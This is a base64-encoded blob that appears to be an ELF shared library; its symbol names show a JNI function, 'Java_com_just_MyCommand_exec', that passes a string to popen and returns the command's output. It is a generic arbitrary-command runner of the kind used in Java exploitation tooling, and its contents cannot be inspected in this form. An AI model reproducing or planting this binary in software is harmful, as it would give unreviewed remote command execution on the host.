QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBY2dBQUFSc0RPMGdBQUFBSUFBQUFIUEQvLzJRQUFBRDg4UC8vakFBQUFBengvLytrQUFBQWxmTC8veHdCQUFBSjlQLy9SQUVBQUZiMC8vOWtBUUFBY1BULy83d0FBQUNrOVAvLzNBQUFBQlFBQUFBQUFBQUFBWHBTQUFGNEVBRWJEQWNJa0FFQUFDUUFBQUFjQUFBQXNPLy8vK0FBQUFBQURoQkdEaGhLRHd0M0NJQUFQeG82S2pNa0lnQUFBQUFVQUFBQVJBQUFBR2p3Ly84UUFBQUFBQUFBQUFBQUFBQVVBQUFBWEFBQUFHRHcvLy9RQUFBQUFBQUFBQUFBQUFBY0FBQUFkQUFBQUt6ei8vODBBQUFBQUVVT0VJWUNRdzBHYXd3SENBQUFBQndBQUFDVUFBQUF3UFAvL3owQUFBQUFSUTRRaGdKRERRWjBEQWNJQUFBQUhBQUFBQUFBQUFBQmVsQk1VZ0FCZUJBSG0zVWZBQUFiR3d3SENKQUJBQUFrQUFBQUpBQUFBSEh4Ly85MEFRQUFCRnNBQUFCRkRoQ0dBa01OQmtpREF3TmpBUXdIQ0FBQUhBQUFBUHdBQUFDOTh2Ly9UUUFBQUFCRkRoQ0dBa01OQmdKRURBY0lBQUFjQUFBQUhBRUFBT3J5Ly84WkFBQUFBRVVPRUlZQ1F3MEdVQXdIQ0FBQUFBQUFBQUQvL3dFUFhTSUFBTGtCWGNRQ0FPQUNCUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1FFZ0FBQUFBQUFGb1VBQUFBQUFBQVVCSUFBQUFBQUFBQkFBQUFBQUFBQURBQ0FBQUFBQUFBQVFBQUFBQUFBQUEvQWdBQUFBQUFBQUVBQUFBQUFBQUFUUUlBQUFBQUFBQU1BQUFBQUFBQUFBQVFBQUFBQUFBQURRQUFBQUFBQUFEb0ZBQUFBQUFBQUJrQUFBQUFBQUFBNEQwQUFBQUFBQUFiQUFBQUFBQUFBQkFBQUFBQUFBQUFHZ0FBQUFBQUFBRHdQUUFBQUFBQUFCd0FBQUFBQUFBQUNBQUFBQUFBQUFEMS92OXZBQUFBQVBBQ0FBQUFBQUFBQlFBQUFBQUFBQUFZQlFBQUFBQUFBQVlBQUFBQUFBQUFJQU1BQUFBQUFBQUtBQUFBQUFBQUFKc0NBQUFBQUFBQUN3QUFBQUFBQUFBWUFBQUFBQUFBQUFNQUFBQUFBQUFBQUVBQUFBQUFBQUFDQUFBQUFBQUFBRGdCQUFBQUFBQUFGQUFBQUFBQUFBQUhBQUFBQUFBQUFCY0FBQUFBQUFBQVlBa0FBQUFBQUFBSEFBQUFBQUFBQUhBSUFBQUFBQUFBQ0FBQUFBQUFBQUR3QUFBQUFBQUFBQWtBQUFBQUFBQUFHQUFBQUFBQUFBRCsvLzl2QUFBQUFPQUhBQUFBQUFBQS8vLy9id0FBQUFBREFBQUFBQUFBQVBELy8yOEFBQUFBdEFjQUFBQUFBQUQ1Ly85dkFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBK0QwQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQkFBQUFBQUFBQkFFQUFBQUFBQUFGQVFBQUFBQUFBQVlCQUFBQUFBQUFCd0VBQUFBQUFBQUlBUUFBQUFBQUFBa0JBQUFBQUFBQUNnRUFBQUFBQUFBTEFRQUFBQUFBQUF3QkFBQUFBQUFBRFFFQUFBQUFBQUFPQVFBQUFBQUFBQThCQUFBQUFBQUFDQVFBQUFBQUFBQUFBQUFBQUFBQUFBUjBORE9pQW9WV0oxYm5SMUlEa3VOQzR3TFRGMVluVnVkSFV4ZmpJd0xqQTBMaklwSURrdU5DNHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFBUUNvQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUFnRElBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQXdEd0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCQUFnQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJRQVlCUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQmdDMEJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCd0RnQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUNBQndDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ1FCZ0NRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFDZ0FBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUN3QWdFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BREFBQUVRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEUUFRRVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQURnRGdFUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRHdEb0ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUVRQUVJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRWdCUUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFd0NNSVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZBRGdQUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRlFEd1BRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFGZ0Q0UFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZ3RFlQd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BR0FBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFHUUNBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUdnQ1FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BR3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFEQUFBQUFJQURnRGdFUUFBQUFBQUFBQUFBQUFBQUFBQURnQUFBQUlBRGdBUUVnQUFBQUFBQUFBQUFBQUFBQUFBSVFBQUFBSUFEZ0JRRWdBQUFBQUFBQUFBQUFBQUFBQUFOd0FBQUFFQUdnQ1FRQUFBQUFBQUFBRUFBQUFBQUFBQVJnQUFBQUVBRlFEd1BRQUFBQUFBQUFBQUFBQUFBQUFBYlFBQUFBSUFEZ0NRRWdBQUFBQUFBQUFBQUFBQUFBQUFlUUFBQUFFQUZBRGdQUUFBQUFBQUFBQUFBQUFBQUFBQUFRRUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBbUFBQUFBRUFFQUFBSUFBQUFBQUFBQUVBQUFBQUFBQUFzd0FBQUFFQUdnQ1JRQUFBQUFBQUFBRUFBQUFBQUFBQXdnQUFBQUlBRGdBTkZBQUFBQUFBQUUwQUFBQUFBQUFBOGdBQUFBSUFEZ0JhRkFBQUFBQUFBQmtBQUFBQUFBQUFBUUFBQUFRQThmOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUR3RUFBQUVBRWdDSUlRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFIUUVBQUFBQUVRQUVJQUFBQUFBQUFBQUFBQUFBQUFBQU1BRUFBQUVBR1FDQVFBQUFBQUFBQUFBQUFBQUFBQUFBUFFFQUFBRUFHUUNJUUFBQUFBQUFBQWdBQUFBQUFBQUFXUUVBQUFJQUR3RG9GQUFBQUFBQUFBQUFBQUFBQUFBQVh3RUFBQUlBQ2dBQUVBQUFBQUFBQUFBQUFBQUFBQUFBWlFFQUFBRUFGZ0Q0UFFBQUFBQUFBQUFBQUFBQUFBQUFiZ0VBQUFFQUdRQ1FRQUFBQUFBQUFBQUFBQUFBQUFBQWVnRUFBQUVBR0FBQVFBQUFBQUFBQUFBQUFBQUFBQUFBa0FFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFvd0VBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThnRUFBQ0lBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGdJQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFXQUlBQUNJQURnQ29GQUFBQUFBQUFEMEFBQUFBQUFBQWhBSUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBbmdJQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE2Z0lBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJnTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVUFNQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFaQU1BQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWlRTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBbkFNQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF2UU1BQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJRTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOFFNQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdnUUFBQ0lBRGdCMEZBQUFBQUFBQURRQUFBQUFBQUFBT0FRQUFCSUFEZ0NaRWdBQUFBQUFBSFFCQUFBQUFBQUFWUVFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHTnlkSE4wZFdabUxtTUFaR1Z5WldkcGMzUmxjbDkwYlY5amJHOXVaWE1BWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHTnZiWEJzWlhSbFpDNDRNRFl4QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVGOW1hVzVwWDJGeWNtRjVYMlZ1ZEhKNUFHWnlZVzFsWDJSMWJXMTVBRjlmWm5KaGJXVmZaSFZ0YlhsZmFXNXBkRjloY25KaGVWOWxiblJ5ZVFCZldsTjBUREU1Y0dsbFkyVjNhWE5sWDJOdmJuTjBjblZqZEFCZldsTjBURGhmWDJsdmFXNXBkQUJmV2pReFgxOXpkR0YwYVdOZmFXNXBkR2xoYkdsNllYUnBiMjVmWVc1a1gyUmxjM1J5ZFdOMGFXOXVYekJwYVFCZlIweFBRa0ZNWDE5emRXSmZTVjlOZVVOdmJXMWhibVF1WTNCd0FGOWZSbEpCVFVWZlJVNUVYMThBWDE5SFRsVmZSVWhmUmxKQlRVVmZTRVJTQUY5ZlpITnZYMmhoYm1Sc1pRQkVWeTV5WldZdVgxOW5lSGhmY0dWeWMyOXVZV3hwZEhsZmRqQUFYMlpwYm1rQVgybHVhWFFBWDBSWlRrRk5TVU1BWDE5VVRVTmZSVTVFWDE4QVgwZE1UMEpCVEY5UFJrWlRSVlJmVkVGQ1RFVmZBSEJ2Y0dWdVFFQkhURWxDUTE4eUxqSXVOUUJmV2s1TFUzUTNYMTlqZUhneE1URXlZbUZ6YVdOZmMzUnlhVzVuU1dOVGRERXhZMmhoY2w5MGNtRnBkSE5KWTBWVFlVbGpSVVUxWTE5emRISkZka0JBUjB4SlFrTllXRjh6TGpRdU1qRUFYMTlqZUdGZlptbHVZV3hwZW1WQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZSREZGZGtCQVIweEpRa05ZV0Y4ekxqUXVNakVBWDFwT04wcE9TVVZ1ZGw4eE4wZGxkRk4wY21sdVoxVlVSa05vWVhKelJWQTRYMnB6ZEhKcGJtZFFhQUJmWDJONFlWOWhkR1Y0YVhSQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZjRXhGVUV0alFFQkhURWxDUTFoWVh6TXVOQzR5TVFCZlgzTjBZV05yWDJOb2ExOW1ZV2xzUUVCSFRFbENRMTh5TGpRQVgxcE9VM1EzWDE5amVIZ3hNVEV5WW1GemFXTmZjM1J5YVc1blNXTlRkREV4WTJoaGNsOTBjbUZwZEhOSlkwVlRZVWxqUlVWRE1VVjJRRUJIVEVsQ1ExaFlYek11TkM0eU1RQndZMnh2YzJWQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME9HbHZjMTlpWVhObE5FbHVhWFJETVVWMlFFQkhURWxDUTFoWVh6TXVOQUJtWjJWMGMwQkFSMHhKUWtOZk1pNHlMalVBWDE5bmVIaGZjR1Z5YzI5dVlXeHBkSGxmZGpCQVFFTllXRUZDU1Y4eExqTUFYMGxVVFY5a1pYSmxaMmx6ZEdWeVZFMURiRzl1WlZSaFlteGxBRjlWYm5kcGJtUmZVbVZ6ZFcxbFFFQkhRME5mTXk0d0FGOWZaMjF2Ymw5emRHRnlkRjlmQUY5SlZFMWZjbVZuYVhOMFpYSlVUVU5zYjI1bFZHRmliR1VBWDFwT04wcE9TVVZ1ZGw4eE1rNWxkMU4wY21sdVoxVlVSa1ZRUzJNQVNtRjJZVjlqYjIxZmFuVnpkRjlOZVVOdmJXMWhibVJmWlhobFl3QmZXazVUZERocGIzTmZZbUZ6WlRSSmJtbDBSREZGZGtCQVIweEpRa05ZV0Y4ekxqUUFBQzV6ZVcxMFlXSUFMbk4wY25SaFlnQXVjMmh6ZEhKMFlXSUFMbTV2ZEdVdVoyNTFMbkJ5YjNCbGNuUjVBQzV1YjNSbExtZHVkUzVpZFdsc1pDMXBaQUF1WjI1MUxtaGhjMmdBTG1SNWJuTjViUUF1WkhsdWMzUnlBQzVuYm5VdWRtVnljMmx2YmdBdVoyNTFMblpsY25OcGIyNWZjZ0F1Y21Wc1lTNWtlVzRBTG5KbGJHRXVjR3gwQUM1cGJtbDBBQzV3YkhRdVoyOTBBQzV3YkhRdWMyVmpBQzUwWlhoMEFDNW1hVzVwQUM1eWIyUmhkR0VBTG1Wb1gyWnlZVzFsWDJoa2NnQXVaV2hmWm5KaGJXVUFMbWRqWTE5bGVHTmxjSFJmZEdGaWJHVUFMbWx1YVhSZllYSnlZWGtBTG1acGJtbGZZWEp5WVhrQUxtUjVibUZ0YVdNQUxtZHZkQzV3YkhRQUxtUmhkR0VBTG1KemN3QXVZMjl0YldWdWRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCc0FBQUFIQUFBQUFnQUFBQUFBQUFDb0FnQUFBQUFBQUtnQ0FBQUFBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQXVBQUFBQndBQUFBSUFBQUFBQUFBQXlBSUFBQUFBQUFESUFnQUFBQUFBQUNRQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFRUUFBQVBiLy8yOENBQUFBQUFBQUFQQUNBQUFBQUFBQThBSUFBQUFBQUFBd0FBQUFBQUFBQUFRQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBRXNBQUFBTEFBQUFBZ0FBQUFBQUFBQWdBd0FBQUFBQUFDQURBQUFBQUFBQStBRUFBQUFBQUFBRkFBQUFBUUFBQUFnQUFBQUFBQUFBR0FBQUFBQUFBQUJUQUFBQUF3QUFBQUlBQUFBQUFBQUFHQVVBQUFBQUFBQVlCUUFBQUFBQUFKc0NBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBV3dBQUFQLy8vMjhDQUFBQUFBQUFBTFFIQUFBQUFBQUF0QWNBQUFBQUFBQXFBQUFBQUFBQUFBUUFBQUFBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUdnQUFBRCsvLzl2QWdBQUFBQUFBQURnQndBQUFBQUFBT0FIQUFBQUFBQUFrQUFBQUFBQUFBQUZBQUFBQXdBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFCM0FBQUFCQUFBQUFJQUFBQUFBQUFBY0FnQUFBQUFBQUJ3Q0FBQUFBQUFBUEFBQUFBQUFBQUFCQUFBQUFBQUFBQUlBQUFBQUFBQUFCZ0FBQUFBQUFBQWdRQUFBQVFBQUFCQ0FBQUFBQUFBQUdBSkFBQUFBQUFBWUFrQUFBQUFBQUE0QVFBQUFBQUFBQVFBQUFBWUFBQUFDQUFBQUFBQUFBQVlBQUFBQUFBQUFJc0FBQUFCQUFBQUJnQUFBQUFBQUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBR3dBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQ0dBQUFBQVFBQUFBWUFBQUFBQUFBQUlCQUFBQUFBQUFBZ0VBQUFBQUFBQU9BQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQkFBQUFBQUFBQUFrUUFBQUFFQUFBQUdBQUFBQUFBQUFBQVJBQUFBQUFBQUFCRUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUF